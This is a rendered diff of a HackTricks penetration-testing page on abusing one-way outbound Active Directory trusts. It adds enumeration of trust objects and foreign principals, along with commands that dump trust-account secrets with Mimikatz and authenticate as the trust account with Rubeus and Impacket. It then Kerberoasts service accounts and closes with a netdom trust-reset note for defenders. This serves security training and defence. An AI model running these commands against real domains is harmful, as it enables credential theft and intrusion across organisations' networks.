|
2 | 2 |
|
3 | 3 | {{#include ../../banners/hacktricks-training.md}} |
4 | 4 |
|
5 | | -In this scenario **your domain** is **trusting** some **privileges** to principal from a **different domains**. |
| 5 | +In this scenario **your domain** is **trusting** some **privileges** to principals from a **different domain/forest**. |
6 | 6 |
|
7 | 7 | ## Enumeration |
8 | 8 |
|
@@ -30,55 +30,116 @@ MemberDistinguishedName : CN=S-1-5-21-1028541967-2937615241-1935644758-1115,CN=F |
30 | 30 | ## Note how the members aren't from the current domain (ConvertFrom-SID won't work) |
31 | 31 | ``` |
32 | 32 |
|
| 33 | +If you have the AD module available, inspect the **Trusted Domain Object (TDO)** directly as well. This gives you the raw LDAP-backed trust data you will later need when deciding whether the easy path is **FSP/group abuse** or **trust-account abuse**: |
| 34 | + |
| 35 | +```powershell |
| 36 | +# Enumerate the TDO created for the foreign forest/domain |
| 37 | +Get-ADObject -LDAPFilter '(objectClass=trustedDomain)' -SearchBase "CN=System,$((Get-ADDomain).DistinguishedName)" -Properties trustDirection,trustType,trustAttributes,flatName,securityIdentifier,whenCreated,whenChanged | |
| 38 | + Select Name,flatName,trustDirection,trustType,trustAttributes,securityIdentifier,whenCreated,whenChanged |
| 39 | +
|
| 40 | +# Fast trust hygiene check from the outbound side |
| 41 | +Get-ADTrust -Identity ext.local -Properties ForestTransitive,SelectiveAuthentication,SIDFilteringQuarantined,SIDFilteringForestAware,TGTDelegation |
| 42 | +``` |
| 43 | + |
| 44 | +You should also enumerate where the foreign principals from `CN=ForeignSecurityPrincipals` were actually granted access. Common wins are: |
| 45 | + |
| 46 | +- **Local admin** on a server/DC in your current domain |
| 47 | +- Membership in a **custom domain group** that has ACLs over users/computers/GPOs |
| 48 | +- Rights to modify **computer objects**, which can later become [RBCD](resource-based-constrained-delegation.md) if the trust configuration allows it |
| 49 | + |
33 | 50 | ## Trust Account Attack |
34 | 51 |
|
35 | | -A security vulnerability exists when a trust relationship is established between two domains, identified here as domain **A** and domain **B**, where domain **B** extends its trust to domain **A**. In this setup, a special account is created in domain **A** for domain **B**, which plays a crucial role in the authentication process between the two domains. This account, associated with domain **B**, is utilized for encrypting tickets for accessing services across the domains. |
| 52 | +When a one-way trust is created from domain/forest **B** to domain/forest **A** (**B trusts A**), a **trust account** for **B** is created in **A**. In the outbound-trust view of **A**, this is useful because if you later compromise **B** (the trusting side), you can dump the trust secret there and authenticate back to **A** as `B$`. |
36 | 53 |
|
37 | | -The critical aspect to understand here is that the password and hash of this special account can be extracted from a Domain Controller in domain **A** using a command line tool. The command to perform this action is: |
| 54 | +The critical aspect to understand here is that the password and Kerberos material for that trust account can be extracted from a Domain Controller in the **trusting** domain using: |
38 | 55 |
|
39 | 56 | ```bash |
40 | 57 | Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local |
41 | 58 | ``` |
42 | 59 |
|
43 | | -This extraction is possible because the account, identified with a **$** after its name, is active and belongs to the "Domain Users" group of domain **A**, thereby inheriting permissions associated with this group. This allows individuals to authenticate against domain **A** using the credentials of this account. |
44 | | - |
45 | | -**Warning:** It is feasible to leverage this situation to gain a foothold in domain **A** as a user, albeit with limited permissions. However, this access is sufficient to perform enumeration on domain **A**. |
| 60 | +This works because the trust account created in the **trusted** domain is an enabled principal that ends up with the baseline rights of a normal domain user there. That is often enough to start enumerating LDAP, request tickets, and find the next escalation path. |
46 | 61 |
|
47 | | -In a scenario where `ext.local` is the trusting domain and `root.local` is the trusted domain, a user account named `EXT$` would be created within `root.local`. Through specific tools, it is possible to dump the Kerberos trust keys, revealing the credentials of `EXT$` in `root.local`. The command to achieve this is: |
| 62 | +In a scenario where `ext.local` is the **trusting** domain and `root.local` is the **trusted** domain, a user account named `EXT$` is created inside `root.local`. Dumping the trust keys from `ext.local` reveals credentials that can be used as `root.local\EXT$` against `root.local`: |
48 | 63 |
|
49 | 64 | ```bash |
50 | 65 | lsadump::trust /patch |
51 | 66 | ``` |
52 | 67 |
|
53 | | -Following this, one could use the extracted RC4 key to authenticate as `root.local\EXT$` within `root.local` using another tool command: |
| 68 | +Following this, use the extracted **RC4** key to authenticate as `root.local\EXT$` inside `root.local`: |
54 | 69 |
|
55 | 70 | ```bash |
56 | 71 | .\Rubeus.exe asktgt /user:EXT$ /domain:root.local /rc4:<RC4> /dc:dc.root.local /ptt |
57 | 72 | ``` |
58 | 73 |
|
59 | | -This authentication step opens up the possibility to enumerate and even exploit services within `root.local`, such as performing a Kerberoast attack to extract service account credentials using: |
| 74 | +Then enumerate the trusted domain as that principal, for example by Kerberoasting a high-value SPN in `root.local`: |
60 | 75 |
|
61 | 76 | ```bash |
62 | 77 | .\Rubeus.exe kerberoast /user:svc_sql /domain:root.local /dc:dc.root.local |
63 | 78 | ``` |
64 | 79 |
|
| 80 | +### From Linux |
| 81 | + |
| 82 | +If you recovered the **RC4** trust-account key, the same idea works from Linux with Impacket: |
| 83 | + |
| 84 | +```bash |
| 85 | +python getTGT.py -dc-ip dc.root.local root.local/EXT\$ -hashes :<RC4> |
| 86 | +export KRB5CCNAME=EXT\$.ccache |
| 87 | + |
| 88 | +# Kerberoast from the trusted domain as the trust account |
| 89 | +GetUserSPNs.py -request -k -no-pass -dc-ip dc.root.local root.local/EXT\$ -outputfile root_spns.kerberoast |
| 90 | + |
| 91 | +# Or reduce noise and request only one user |
| 92 | +GetUserSPNs.py -request-user svc_sql -k -no-pass -dc-ip dc.root.local root.local/EXT\$ |
| 93 | +``` |
| 94 | + |
| 95 | +If **RC4** is not accepted, fall back to the recovered **cleartext password** (or derived **AES** keys) and reuse the usual [Over-Pass-the-Hash / Pass-the-Key](over-pass-the-hash-pass-the-key.md) and [Kerberoast](kerberoast.md) workflows from that foothold. |
| 96 | + |
| 97 | +### Key material gotchas |
| 98 | + |
| 99 | +Don't mix up **trust keys** and **trust-account credentials**: |
| 100 | + |
| 101 | +- In a one-way trust, both sides store a **TDO**, but the actual **`EXT$` user account only exists in the trusted domain**. |
| 102 | +- The current trust-account password is reflected in the TDO trust secret (`NewPassword` / current trust key). |
| 103 | +- The **RC4** trust key is the easiest artifact to reuse for `asktgt` as the trust account; in default setups this is usually the working enctype because the trust account often has a blank `msDS-SupportedEncryptionTypes`. |
| 104 | +- If you are thinking in terms of **AES trust keys**, remember they are not interchangeable with the trust-account AES keys because the salts differ. |
| 105 | + |
| 106 | +So, for the technique on this page, prefer either the dumped **RC4** material or the recovered **cleartext** password. |
| 107 | + |
65 | 108 | ### Gathering cleartext trust password |
66 | 109 |
|
67 | | -In the previous flow it was used the trust hash instead of the **clear text password** (that was also **dumped by mimikatz**). |
| 110 | +In the previous flow it was used the trust hash instead of the **cleartext password** (that is also **dumped by mimikatz**). |
68 | 111 |
|
69 | | -The cleartext password can be obtained by converting the \[ CLEAR ] output from mimikatz from hexadecimal and removing null bytes ‘\x00’: |
| 112 | +The cleartext password can be obtained by converting the \[ CLEAR ] output from mimikatz from hexadecimal and removing null bytes `\x00`: |
70 | 113 |
|
71 | 114 | .png>) |
72 | 115 |
|
73 | | -Sometimes when creating a trust relationship, a password must be typed in by the user for the trust. In this demonstration, the key is the original trust password and therefore human readable. As the key cycles (30 days), the cleartext will not be human-readable but technically still usable. |
| 116 | +Sometimes when creating a trust relationship, a password must be typed in by the user for the trust. In this demonstration, the key is the original trust password and therefore human readable. As the key rotates (default: every 30 days), the cleartext will usually stop being human readable but is still technically usable. |
74 | 117 |
|
75 | | -The cleartext password can be used to perform regular authentication as the trust account, an alternative to requesting a TGT using the Kerberos secret key of the trust account. Here, querying root.local from ext.local for members of Domain Admins: |
| 118 | +The cleartext password can be used to perform regular authentication as the trust account, as an alternative to requesting a TGT with the Kerberos secret key of the trust account. Here, querying `root.local` from `ext.local` for members of `Domain Admins`: |
76 | 119 |
|
77 | 120 | .png>) |
78 | 121 |
|
| 122 | +### Practical limitations |
| 123 | + |
| 124 | +> [!WARNING] |
| 125 | +> Trust accounts are awkward principals. Interactive logons such as **RUNAS / console / RDP** are not the expected path here, and **NTLM** authentication attempts can fail with `STATUS_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT`. Plan for **Kerberos network logons** (`asktgt`, LDAP, CIFS, Kerberoast) instead. |
| 126 | +
|
| 127 | +### Persistence / cleanup note |
| 128 | + |
| 129 | +If defenders realize the trusting domain was compromised, they should rotate the trust secret on **both sides** with `netdom trust ... /resetOneSide ...`. From an operator perspective this matters because a **manual reset invalidates the old trust material immediately**, while normal trust-password rotation keeps current/previous values around during rollover. |
| 130 | + |
| 131 | +```bash |
| 132 | +# Run once from the trusted side |
| 133 | +netdom trust root.local /domain:ext.local /resetOneSide /passwordT:<NEWPASS> /userO:administrator /passwordO:* |
| 134 | + |
| 135 | +# Run once from the trusting side |
| 136 | +netdom trust ext.local /domain:root.local /resetOneSide /passwordT:<NEWPASS> /userO:administrator /passwordO:* |
| 137 | +``` |
| 138 | + |
79 | 139 | ## References |
80 | 140 |
|
81 | | -- [https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-7-trust-account-attack-from-trusting-to-trusted](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-7-trust-account-attack-from-trusting-to-trusted) |
| 141 | +- [https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-7](https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-7) |
| 142 | +- [https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/forest-recovery-guide/ad-forest-recovery-reset-trust](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/forest-recovery-guide/ad-forest-recovery-reset-trust) |
82 | 143 |
|
83 | 144 | {{#include ../../banners/hacktricks-training.md}} |
84 | 145 |
|
|
0 commit comments